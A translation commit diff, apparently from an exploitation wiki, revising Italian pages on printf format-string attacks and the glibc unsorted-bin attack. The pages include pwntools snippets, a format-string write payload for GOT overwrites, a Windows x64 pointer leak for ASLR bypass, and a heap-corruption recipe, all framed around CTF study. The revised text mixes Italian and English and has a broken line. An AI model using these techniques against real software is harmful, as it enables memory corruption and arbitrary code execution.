Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md',

src/binary-exploitation/format-strings/README.md

@@ -5,13 +5,13 @@
 
 ## Informazioni di base
 
-In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** attesi sono i **valori** per **sostituire** i **formatters** nel testo grezzo.
+In C **`printf`** è una funzione che può essere usata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formatters**. I **parametri successivi** sono i **valori** con cui **sostituire** i **formatters** presenti nel testo grezzo.
 
 Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
 
-La vulnerabilità si presenta quando un **testo controllato dall'attaccante viene usato come primo argomento** di questa funzione. L'attaccante sarà in grado di costruire un **input speciale abusando** delle **printf format string capabilities** per leggere e **scrivere qualsiasi dato in qualunque indirizzo (leggibile/scrivibile)**. In questo modo può eseguire codice arbitrario.
+La vulnerabilità si manifesta quando un **attacker text è usato come primo argomento** di questa funzione. L'attacker sarà in grado di costruire un **input speciale che abusa** delle capacità della stringa di formato di printf per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. In questo modo è possibile **eseguire codice arbitrario**.
 
-#### Formattatori:
+#### Formatters:
 ```bash
 %08x —> 8 hex bytes
 %d —> Entire
@@ -54,7 +54,7 @@ return 0;
 ```
 ### **Accesso ai puntatori**
 
-Il formato **`%<n>$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi se vuoi leggere il 4° parametro dallo stack usando printf puoi fare:
+Il formato **`%<n>$x`**, dove `n` è un numero, permette di indicare a printf di selezionare il parametro n (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf potresti fare:
 ```c
 printf("%x %x %x %x")
 ```
@@ -66,14 +66,14 @@ printf("%4$x")
 ```
 e leggere direttamente il quarto.
 
-Nota che l'attaccante controlla il `printf` **parametro, il che praticamente significa che** il suo input verrà messo nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere specifici indirizzi di memoria nello stack.
+Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
 
 > [!CAUTION]
-> Un attaccante che controlla questo input potrà **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come utilizzare questo comportamento.
+> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far sì che `printf` li acceda**. Nella sezione successiva sarà spiegato come usare questo comportamento.
 
 ## **Arbitrary Read**
 
-È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, lo segua e **lo stampi come se fosse una stringa** (stampa fino a quando non viene trovato un 0x00). Quindi, se l'indirizzo base del binario è **`0x8048000`**, e sappiamo che l'input dell'utente inizia nella quarta posizione nello stack, è possibile stampare l'inizio del binario con:
+È possibile usare il formatter **`%n$s`** per far sì che **`printf`** prenda l'**indirizzo** situato nella **posizione n**, seguirlo e **stamparlo come se fosse una stringa** (stampa fino a quando non viene trovato 0x00). Quindi, se l'indirizzo base del binary è **`0x8048000`**, e sappiamo che il user input inizia alla 4a posizione nello stack, è possibile stampare l'inizio del binary con:
 ```python
 from pwn import *
 
@@ -87,11 +87,11 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 > [!CAUTION]
-> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa sarà terminata con 0x00 alla fine di quell'indirizzo.
+> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa conterrà 0x00 alla fine di quell'indirizzo.
 
-### Trovare l'offset
+### Trova l'offset
 
-Per trovare l'offset del tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
+Per trovare l'offset rispetto al tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore finché non recuperi le `A's`.
 
 <details>
 
@@ -130,50 +130,50 @@ p.close()
 
 Arbitrary reads possono essere utili per:
 
-- **Dump** il **binary** dalla memoria
-- **Accedere a parti specifiche della memoria dove sono memorizzate** **informazioni sensibili** (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- **Dump** del **binary** dalla memoria
+- **Access a parti specifiche della memoria dove sono memorizzate** **info** sensibili (come canaries, encryption keys o custom passwords come in questo [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 
 ## **Arbitrary Write**
 
-Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti caratteri vuole con printf, sarà in grado di far sì che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
+Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** dal parametro <num> nello stack. Se un attaccante può scrivere quanti char vuole con printf, potrà far sì che **`%<num>$n`** scriva un numero arbitrario in un indirizzo arbitrario.
 
-Per fortuna, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input; è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
+Fortunatamente, per scrivere il numero 9999 non è necessario aggiungere 9999 "A" all'input: è possibile usare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
 ```bash
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-Tuttavia, nota che di solito, per scrivere un indirizzo come `0x08049724` (che è un NUMERO ENORME da scrivere tutto in una volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 byte**. Pertanto questa operazione viene eseguita due volte, una per i 2 byte più alti dell'indirizzo e un'altra per quelli più bassi.
+Tuttavia, nota che solitamente, per scrivere un indirizzo come `0x08049724` (che è un numero ENORME da scrivere in una sola volta), **si usa `$hn`** invece di `$n`. Questo permette di **scrivere solo 2 Bytes**. Perciò questa operazione viene fatta due volte, una per i 2B più alti dell'indirizzo e un'altra per quelli più bassi.
 
-Pertanto, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).**
+Quindi, questa vulnerabilità permette di **scrivere qualsiasi cosa in qualsiasi indirizzo (arbitrary write).**
 
-In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata più tardi. Sebbene questo possa sfruttare altre tecniche di arbitrary write to exec:
+In questo esempio, l'obiettivo sarà quello di **sovrascrivere** l'**indirizzo** di una **function** nella tabella **GOT** che verrà chiamata più tardi. Anche se questo potrebbe sfruttare altre tecniche di arbitrary write to exec:
 
 
 {{#ref}}
 ../arbitrary-write-2-exec/
 {{#endref}}
 
-Andremo a **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e a **puntarla** alla funzione **`system`**.\
-Come detto, per scrivere l'indirizzo sono generalmente necessari 2 passaggi: prima **si scrivono 2 byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
+Ci accingiamo a **sovrascrivere** una **function** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** verso la funzione **`system`**.\
+Come detto, per scrivere l'indirizzo di solito sono necessari 2 passaggi: prima si **scrivono 2 Bytes** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
 
 - **HOB** indica i 2 byte più alti dell'indirizzo
 - **LOB** indica i 2 byte più bassi dell'indirizzo
 
-Poi, a causa di come funzionano le format string, è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
+Poi, a causa del funzionamento delle format string è necessario **scrivere prima il più piccolo** tra \[HOB, LOB] e poi l'altro.
 
-Se HOB < LOB\
+If HOB < LOB\
 `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
 
-Se HOB > LOB\
+If HOB > LOB\
 `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
 
 HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 ```bash
 python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 ```
-### Pwntools Modello
+### Modello Pwntools
 
-Puoi trovare un **modello** per preparare un exploit per questo tipo di vulnerabilità in:
+Puoi trovare un **template** per preparare un exploit per questo tipo di vulnerabilità in:
 
 
 {{#ref}}
@@ -201,26 +201,26 @@ p.interactive()
 ```
 ## Format Strings to BOF
 
-È possibile abusare delle azioni di scrittura di una format string vulnerability per **scrivere in indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
+È possibile abusare delle azioni di scrittura di una vulnerabilità di format string per **scrivere in indirizzi dello stack** e sfruttare una vulnerabilità di tipo **buffer overflow**.
 
 
 ## Windows x64: Format-string leak to bypass ASLR (no varargs)
 
-Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molti call-sites vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
+Su Windows x64 i primi quattro parametri interi/puntatore vengono passati nei registri: RCX, RDX, R8, R9. In molte call-site vulnerabili la stringa controllata dall'attaccante viene usata come format argument ma non vengono forniti variadic arguments, per esempio:
 ```c
 // keyData is fully controlled by the client
 // _snprintf(dst, len, fmt, ...)
 _snprintf(keyStringBuffer, 0xff2, (char*)keyData);
 ```
-Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che la CRT legga il prossimo argomento variadico dal registro appropriato. Con la Microsoft x64 calling convention la prima lettura per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso leaks un puntatore stabile in-modulo (es., un puntatore a un oggetto locale/globale precedentemente posto in R9 dal codice circostante o un valore callee-saved), che può essere usato per recuperare la base del modulo e sconfiggere ASLR.
+Poiché non vengono passati varargs, qualsiasi conversione come "%p", "%x", "%s" farà sì che il CRT legga il successivo argomento variadico dal registro appropriato. Con la calling convention Microsoft x64 la prima lettura di questo tipo per "%p" proviene da R9. Qualsiasi valore transitorio in R9 al call-site verrà stampato. In pratica questo spesso provoca un leak di un puntatore stabile in-module (es., un puntatore a un oggetto locale/globale precedentemente messo in R9 dal codice circostante o un valore salvato dal callee), che può essere usato per recuperare la module base e bypassare ASLR.
 
-Flusso pratico:
+Practical workflow:
 
-- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
-- Cattura il leaked pointer, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo reversing una volta con simboli o una copia locale), e recupera la image base come `leak - known_offset`.
-- Riusa quella base per calcolare indirizzi assoluti per ROP gadgets e IAT entries da remoto.
+- Inietta un formato innocuo come "%p " all'inizio della stringa controllata dall'attaccante, in modo che la prima conversione venga eseguita prima di qualsiasi filtraggio.
+- Cattura il pointer leak, identifica l'offset statico di quell'oggetto all'interno del modulo (eseguendo una singola reverse con simboli o con una copia locale), e recupera l'image base come `leak - known_offset`.
+- Riusa quella base per calcolare indirizzi assoluti di ROP gadgets e IAT entries da remoto.
 
-Esempio (abbreviato python):
+Example (abbreviated python):
 ```python
 from pwn import remote
 
@@ -233,24 +233,23 @@ base   = leaked - 0x20660                     # module base = leak - offset
 print(hex(leaked), hex(base))
 ```
 Note:
-- L'offset esatto da sottrarre viene trovato una volta durante il reversing locale e poi riutilizzato (stesso binario/versione).
-- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri registri/stack degli argomenti.
-- Questo pattern è specifico della calling convention Windows x64 e delle implementazioni della printf-family che leggono varargs inesistenti dai registri quando la format string li richiede.
+- L'esatto offset da sottrarre si trova una volta durante local reversing e poi viene riutilizzato (same binary/version).
+- Se "%p" non stampa un puntatore valido al primo tentativo, provare altri specifier ("%llx", "%s") o conversioni multiple ("%p %p %p") per campionare altri argument registers/stack.
+- Questo pattern è specifico della Windows x64 calling convention e delle implementazioni printf-family che prendono varargs inesistenti dai registri quando la format string li richiede.
 
-Questa tecnica è estremamente utile per bootstrapper ROP su servizi Windows compilati con ASLR e senza evidenti primitive di memory disclosure.
+Questa tecnica è estremamente utile per bootstrap ROP su Windows services compilati con ASLR e senza ovvie memory disclosure primitives.
 
-## Altri Esempi & Riferimenti
+## Altri esempi & riferimenti
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, uso di base delle format strings per leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
+- 32 bit, no relro, no canary, nx, no pie, uso base di format strings per effettuare un leak della flag dallo stack (non è necessario alterare il flusso di esecuzione)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
+- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo di `fflush` con la funzione win (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere nella GOT l'indirizzo di `system` nell'entry corrispondente a `strlen`. Quando il flusso torna a main, `strlen` viene eseguita con input utente e, essendo puntata a `system`, eseguirà i comandi passati.
-
+- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro 1 volta in più) e scrivere l'indirizzo di `system` nella GOT puntando a `strlen`. Quando il flusso torna in main, `strlen` viene eseguito con input utente e puntando a `system`, eseguirà i comandi passati.
 
 ## Riferimenti
 

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -4,68 +4,68 @@
 
 ## Informazioni di base
 
-Per maggiori informazioni su cosa sia un unsorted bin controlla questa pagina:
+Per maggiori informazioni su cos'è un unsorted bin controlla questa pagina:
 
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Le unsorted lists sono in grado di scrivere l'indirizzo di `unsorted_chunks (av)` nel campo `bk` del chunk. Pertanto, se un attacker può **modificare l'indirizzo del puntatore `bk`** in un chunk all'interno dell'unsorted bin, potrebbe riuscire a **scrivere quell'indirizzo in un indirizzo arbitrario**, il che può essere utile per ottenere un leak di indirizzi Glibc o bypassare certe difese.
+Le unsorted lists sono in grado di scrivere l'indirizzo di `unsorted_chunks (av)` nel campo `bk` del chunk. Quindi, se un attaccante può **modificare l'indirizzo del puntatore `bk`** in un chunk presente nell'unsorted bin, potrebbe riuscire a **scrivere quell'indirizzo in un indirizzo arbitrario**, il che può essere utile per ottenere un leak di indirizzi Glibc o bypassare qualche protezione.
 
-Quindi, fondamentalmente, questo attacco permette di **impostare un grande valore in un indirizzo arbitrario**. Questo grande valore è un indirizzo, che potrebbe essere un indirizzo heap o un indirizzo Glibc. Un obiettivo tradizionale era **`global_max_fast`** per permettere di creare fast bin con dimensioni maggiori (e passare da un unsorted bin attack a un fast bin attack).
+In sostanza, questo attacco permette di **impostare un numero grande in un indirizzo arbitrario**. Questo numero grande è un indirizzo, che potrebbe essere un indirizzo heap o un indirizzo Glibc. Un bersaglio tradizionale era **`global_max_fast`** per permettere la creazione di fast bin di dimensioni maggiori (e passare da un unsorted bin attack a un fast bin attack).
 
-- Nota moderna (glibc ≥ 2.39): `global_max_fast` è diventata una variabile globale a 8 bit. Scrivere ciecamente un pointer lì tramite una scrittura su unsorted-bin sovrascriverà dati libc adiacenti e non aumenterà più in modo affidabile il limite dei fastbin. Preferire altri target o altri primitive quando si lavora contro glibc 2.39+. Vedi "Modern constraints" sotto e considera di combinare con altre tecniche come un [large bin attack](large-bin-attack.md) o un [fast bin attack](fast-bin-attack.md) una volta ottenuto un primitive stabile.
+- Nota moderna (glibc ≥ 2.39): `global_max_fast` è diventato una globale a 8 bit. Scriverci ciecamente un puntatore tramite una write da unsorted-bin sovrascriverà dati libc adiacenti e non aumenterà più in modo affidabile il limite di fastbin. Preferire altri target o primitive quando si lavora contro glibc 2.39+. Vedi "Modern constraints" sotto e considera di combinare con altre tecniche come un [large bin attack](large-bin-attack.md) o un [fast bin attack](fast-bin-attack.md) una volta che si dispone di una primitive stabile.
 
 > [!TIP]
-> T> Prendendo un'occhiata all'esempio fornito in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) e usando 0x4000 e 0x5000 invece di 0x400 e 0x500 come dimensioni dei chunk (per evitare Tcache) è possibile vedere che **oggigiorno** l'errore **`malloc(): unsorted double linked list corrupted`** viene scatenato.
+> T> ake a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
 >
-> Pertanto, questo unsorted bin attack ora (tra altri controlli) richiede anche la capacità di sistemare la double linked list così che questo non venga bypassato `victim->bk->fd == victim` o `victim->fd == av (arena)`, il che significa che l'indirizzo dove vogliamo scrivere deve avere l'indirizzo del fake chunk nella sua posizione `fd` e che il `fd` del fake chunk punti all'arena.
+> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
 
 > [!CAUTION]
-> Nota che questo attacco corrompe l'unsorted bin (e quindi anche small e large). Quindi ora possiamo usare solo **allocazioni dai fast bin** (un programma più complesso potrebbe fare altre allocazioni e crashare), e per attivarlo dobbiamo **allocare della stessa dimensione altrimenti il programma crasha.**
+> Nota che questo attacco corrompe l'unsorted bin (e quindi anche small e large). Perciò ora possiamo usare solo **allocazioni dai fast bin** (un programma più complesso potrebbe fare altre allocazioni e crashare), e per attivarlo dobbiamo **allocare lo stesso size o il programma andrà in crash.**
 >
-> Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso fidandosi che il fast bin si occuperà di tutte le altre allocazioni fino al completamento dell'exploit.
+> Nota che sovrascrivere **`global_max_fast`** potrebbe aiutare in questo caso, fidandosi che il fast bin si occuperà di tutte le altre allocazioni fino al completamento dell'exploit.
 
-Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene, anche se se modifichi i malloc per allocare memoria abbastanza grande da non finire in Tcache puoi vedere che appare l'errore menzionato precedentemente impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`**
+Il codice di [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo spiega molto bene; tuttavia se modifichi le malloc per allocare memoria abbastanza grande da non finire in Tcache puoi vedere che l'errore menzionato prima compare impedendo questa tecnica: **`malloc(): unsorted double linked list corrupted`**
 
 ### Come avviene effettivamente la scrittura
 
-- La scrittura su unsorted-bin viene innescata su `free` quando il chunk liberato è inserito in testa alla unsorted list.
+- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
 - Durante l'inserimento, l'allocator esegue `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
 - Se puoi impostare `victim->bk` a `(mchunkptr)(TARGET - 0x10)` prima di chiamare `free(victim)`, l'istruzione finale eseguirà la scrittura: `*(TARGET) = victim`.
-- Successivamente, quando l'allocator processa l'unsorted bin, i controlli di integrità verificheranno (tra le altre cose) che `bck->fd == victim` e `victim->fd == unsorted_chunks(av)` prima di effettuare l'unlink. Poiché l'inserimento ha già scritto `victim` in `bck->fd` (il nostro `TARGET`), questi controlli possono risultare soddisfatti se la scrittura è riuscita.
+- Più tardi, quando l'allocator processerà l'unsorted bin, i controlli di integrità verificheranno (tra le altre cose) che `bck->fd == victim` e `victim->fd == unsorted_chunks(av)` prima di unlinkare. Poiché l'inserimento ha già scritto `victim` in `bck->fd` (il nostro `TARGET`), questi controlli possono essere soddisfatti se la scrittura ha avuto successo.
 
-## Vincoli moderni (glibc ≥ 2.33)
+## Modern constraints (glibc ≥ 2.33)
 
-Per usare le scritture su unsorted‑bin in modo affidabile sulle glibc attuali:
+Per usare le unsorted‑bin writes in modo affidabile sulle glibc attuali:
 
-- Interferenza di Tcache: per le dimensioni che rientrano in tcache, le free vengono deviate lì e non toccheranno l'unsorted bin. Oppure
-- fare richieste con dimensioni > MAX_TCACHE_SIZE (≥ 0x410 su 64‑bit di default), oppure
-- riempire il corrispondente tcache bin (7 voci) così che ulteriori free raggiungano i global bins, oppure
+- Interferenza di Tcache: per le dimensioni che rientrano nel tcache, i free vengono deviati lì e non toccheranno l'unsorted bin. Oppure
+- fare richieste con size > MAX_TCACHE_SIZE (≥ 0x410 su 64‑bit di default), oppure
+- riempire il corrispondente tcache bin (7 entry) in modo che i free successivi raggiungano i global bins, oppure
 - se l'ambiente è controllabile, disabilitare tcache (es., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
 - Controlli di integrità sull'unsorted list: nel percorso di allocazione successivo che esamina l'unsorted bin, glibc controlla (semplificato):
 - `bck->fd == victim` e `victim->fd == unsorted_chunks(av)`; altrimenti abortisce con `malloc(): unsorted double linked list corrupted`.
 - Questo significa che l'indirizzo che punti deve tollerare due scritture: prima `*(TARGET) = victim` al momento del free; più tardi, mentre il chunk viene rimosso, `*(TARGET) = unsorted_chunks(av)` (l'allocator riscrive `bck->fd` tornando alla testa del bin). Scegli target dove forzare semplicemente un valore grande non-zero sia utile.
-- Target tipici stabili negli exploit moderni
-- Stato dell'applicazione o variabili globali che trattano valori "grandi" come flag/limiti.
-- Primitive indirette (es., predisporre per un successivo [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) o per pivotare una successiva write-what-where).
-- Evita `__malloc_hook`/`__free_hook` nelle nuove glibc: sono stati rimossi in 2.34. Evita `global_max_fast` su ≥ 2.39 (vedi nota precedente).
+- Tipici target stabili negli exploit moderni
+- Stato dell'applicazione o globale che tratta valori "grandi" come flag/limiti.
+- Primitive indirette (es., preparare un successivo [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) o pivotare una write-what-where successiva).
+- Evitare `__malloc_hook`/`__free_hook` nelle glibc nuove: sono stati rimossi in 2.34. Evitare `global_max_fast` su ≥ 2.39 (vedi nota precedente).
 - Su `global_max_fast` nelle glibc recenti
-- Su glibc 2.39+, `global_max_fast` è una globale a 8 bit. La tecnica classica di scriverci un pointer heap per ingrandire i fastbins non funziona più pulitamente ed è probabile che corrompa lo stato dell'allocator adiacente. Preferire altre strategie.
+- Su glibc 2.39+, `global_max_fast` è una globale a 8‑bit. Il trucco classico di scriverci un puntatore heap (per ingrandire i fastbins) non funziona più bene e probabilmente corromperà lo stato dell'allocator adiacente. Preferire altre strategie.
 
-## Ricetta di sfruttamento minima (glibc moderno)
+## Ricetta minima per lo sfruttamento (glibc moderna)
 
-Obiettivo: ottenere una singola scrittura arbitraria di un pointer heap in un indirizzo arbitrario usando il primitive di inserimento unsorted‑bin, senza far crashare.
+Obiettivo: ottenere una singola scrittura arbitraria di un puntatore heap in un indirizzo arbitrario usando la primitive di inserimento dell'unsorted‑bin, senza causare crash.
 
-- Layout/preparazione
-- Allocare A, B, C con dimensioni abbastanza grandi da bypassare tcache (es., 0x5000). C impedisce la consolidazione con il top chunk.
+- Layout/grooming
+- Allocare A, B, C con dimensioni abbastanza grandi da bypassare il tcache (es., 0x5000). C previene la consolidazione con il top chunk.
 - Corruzione
 - Overflow da A nell'header di B per impostare `B->bk = (mchunkptr)(TARGET - 0x10)`.
-- Attivazione
+- Trigger
 - `free(B)`. Al momento dell'inserimento l'allocator esegue `bck->fd = B`, quindi `*(TARGET) = B`.
-- Proseguimento
-- Se hai intenzione di continuare ad allocare e il programma usa l'unsorted bin, aspettati che l'allocator in seguito imposti `*(TARGET) = unsorted_chunks(av)`. Entrambi i valori sono tipicamente grandi e potrebbero essere sufficienti a cambiare la semantica di size/limite in target che controllano solo per "grande".
+- Continuazione
+- Se prevedi di continuare ad allocare e il programma usa l'unsorted bin, aspettati che l'allocator più tardi imposti `*(TARGET) = unsorted_chunks(av)`. Entrambi i valori sono tipicamente grandi e possono essere sufficienti per modificare la semantica di size/limite in target che controllano solo per "grande".
 
 Pseudocode skeleton:
 ```c
@@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
 free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
 ```
 > [!NOTE]
-> • Se non riesci a bypassare tcache tramite la size, riempi la tcache bin per la size scelta (7 frees) prima di freeare il chunk corrotto in modo che il free vada in unsorted.
-> • Se il programma abortisce immediatamente alla successiva allocazione a causa degli unsorted-bin checks, ricontrolla che `victim->fd` sia ancora uguale alla bin head e che il tuo `TARGET` contenga l'esatto puntatore `victim` dopo la prima scrittura.
+> • Se non puoi bypassare tcache tramite la dimensione, riempi il tcache bin per la dimensione scelta (7 frees) prima di freeare il chunk corrotto così il free va all'unsorted.
+> • Se il programma abortisce immediatamente alla successiva allocazione a causa dei controlli dell'unsorted-bin, ricontrolla che `victim->fd` sia ancora uguale al bin head e che il tuo `TARGET` contenga l'esatto puntatore `victim` dopo la prima scrittura.
 
 ## Unsorted Bin Infoleak Attack
 
-Questo è in realtà un concetto molto basilare. I chunk nell'unsorted bin conterranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **che puntano a una parte del main arena (Glibc)**.\
-Quindi, se puoi **mettere un chunk dentro un unsorted bin e leggerlo** (use after free) o **allocarlo di nuovo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **Glibc info leak**.
+Questo è in realtà un concetto molto semplice. I chunk nell'unsorted bin avranno dei puntatori. Il primo chunk nell'unsorted bin avrà effettivamente i link **`fd`** e **`bk`** **puntati a una parte della main arena (Glibc)**.\
+Quindi, se puoi **mettere un chunk dentro un unsorted bin e leggerlo** (use after free) o **riallocarlo senza sovrascrivere almeno 1 dei puntatori** per poi **leggerlo**, puoi ottenere un **Glibc info leak**.
 
-A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), è stato abusare di una struttura di 4 chunk (A, B, C e D - D è usato solo per prevenire la consolidation con il top chunk) in modo che un null byte overflow in B venisse usato per far sì che C indicasse che B era unused. Inoltre, in B il campo `prev_size` è stato modificato così la size invece di essere la size di B era A+B.\
-Poi C è stato deallocated e consolidated con A+B (ma B era ancora in uso). È stato allocato un nuovo chunk di size A e poi gli indirizzi libc leakati sono stati scritti in B dai quali sono stati leaked.
+Un [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) simile consisteva nell'abusare di una struttura di 4 chunk (A, B, C e D - D serve solo a prevenire la consolidazione con il top chunk) così un null byte overflow in B è stato usato per far sì che C indicasse che B era unused. Inoltre, in B il campo `prev_size` è stato modificato in modo che la size invece di essere la size di B fosse A+B.\
+Poi C è stato deallocato e consolidato con A+B (ma B era ancora in use). Un nuovo chunk di size A è stato allocato e poi gli indirizzi libc leaked sono stati scritti in B da dove sono stati leakati.
 
-## References & Other examples
+## Riferimenti & Altri esempi
 
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
 - L'obiettivo è sovrascrivere una variabile globale con un valore maggiore di 4869 in modo da poter ottenere la flag e PIE non è abilitato.
-- È possibile generare chunk di dimensioni arbitrarie e c'è un heap overflow della size desiderata.
+- È possibile generare chunk di dimensioni arbitrarie ed esiste un heap overflow della dimensione desiderata.
 - L'attacco inizia creando 3 chunk: chunk0 per abusare dell'overflow, chunk1 da overfloware e chunk2 affinché il top chunk non consolidi i precedenti.
-- Poi, chunk1 viene freed e chunk0 viene overflowato in modo che il `bk` pointer di chunk1 punti a: `bk = magic - 0x10`
-- Successivamente, chunk3 viene allocato con la stessa size di chunk1, il che innescherà l'unsorted bin attack e modificherà il valore della variabile globale, rendendo possibile ottenere la flag.
